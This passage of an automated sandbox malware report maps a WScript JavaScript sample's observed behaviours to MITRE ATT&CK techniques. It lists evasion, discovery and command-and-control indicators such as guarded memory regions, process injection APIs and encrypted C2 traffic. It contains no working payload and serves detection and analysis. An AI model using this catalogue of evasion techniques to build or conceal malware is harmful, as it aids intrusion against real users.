information"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decrypt/decode data"},{"type":"informative","value":"Contains escaped byte string (often part of obfuscated shellcode)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"informative","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get handle of currently active window"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Contains the ability to enumerate service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Contains ability to copy files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"malicious","value":"Making HTTPS connections using insecure TLS/SSL version"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"References bcrypt module and functions (used for encryption/decryption)"},{"type":"informative","value":"Contains ability to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"WScript.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00006996)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00006996)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00006996)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00006996)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"WScript.exe\" called \"LoadResource with parameter {'hModule': '2625513652225', 'hResInfo': '2625513653472'}\" (UID: 00000000-00006996)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '2625513652225', 'hResInfo': '2625513653504'}\" (UID: 00000000-00006996)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '2625513652225', 'hResInfo': '2625513653520'}\" (UID: 00000000-00006996)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '2625513652225', 'hResInfo': '2625513653488'}\" (UID: 00000000-00006996)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify thread functionality - possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"$29","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains the ability to modify system service (API string)","description":"Found reference to API \"ChangeServiceConfigW\" (Indicator: \"ChangeServiceConfig\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00006996.00000000.69007.0C840000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006996.00000000.69007.B8E80000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006996.00000000.69007.B9840000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"WScript.exe\" queried SystemProcessInformation at 00000000-00006996-00000C13-47486038 [PID: 6996]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00006996-00000C13-47487373 [PID: 6996]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00006996-00000C13-47992980 [PID: 6996]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00006996-00000C13-47994355 [PID: 6996]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00006996-00000C13-48621551 [PID: 6996]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00006996-00000C13-48623267 [PID: 6996]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Scripts code detected via AMSI (Antimalware Scan Interface)","description":"Script name: C:\\url.js contents: \nfunction anonymous() {\nreturn (function() {}.constructor(\"return this\")( ));\n}\n\n\n Script name: C:\\url.js contents: \nfunction anonymous() {\nreturn this\n}\n\n\n Script name: C:\\url.js contents: \nfunction anonymous() {\ndebugger\n}","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059.001","relevance":5,"id":"amsi-2","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)","description":"Process \"WScript.exe\" executed suspicious script","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059","relevance":10,"id":"amsi-0","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"WScript.exe\" is protecting memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 6996)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decrypt/decode data","description":"file/memory contains long string with (Indicator: \"fromcharcode\"; File: \"url.bin\")\n file/memory contains long string with (Indicator: \"fromcharcode\"; Source: \"00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp, 00000000-00006996.00000000.69007.4D090000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"fromcharcode\"; Source: \"00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp\")\n Found reference to API \"fromCharCode\" (Indicator: \"fromcharcode\"; Source: \"00000000-00006996.00000000.69007.4D090000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to use Microsoft's Enhanced Cryptographic Provider","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1573","relevance":2,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Cryptographic Related","name":"Found XOR operators (encryption/decryption)","description":"Found string \"& ( 2 9 < D ^ p t\" (Indicator: \" ^ \"; Source: \"00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Cryptographic Related","name":"References bcrypt module and functions (used for encryption/decryption)","description":"Found AES encryption functions \"['BCryptOpenAlgorithmProvider', 'BCryptCloseAlgorithmProvider', 'BCryptGenRandom', 'bcrypt.dll']\" - Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1573","relevance":5,"id":"memorydump-14","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Found XOR operators (encryption/decryption)","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains ability to decrypt/decode data\n Matched sigs: References bcrypt module and functions (used for encryption/decryption)\n Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"WScript.exe\" called \"IsWow64Process\" with parameter \"6996\" - (UID: 00000000-00006996)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"WScript.exe\" called \"GetActiveWindow\" (UID: 00000000-00006996)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006996)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2b","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WScript.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006996)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WScript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006996)\n \"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00006996)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 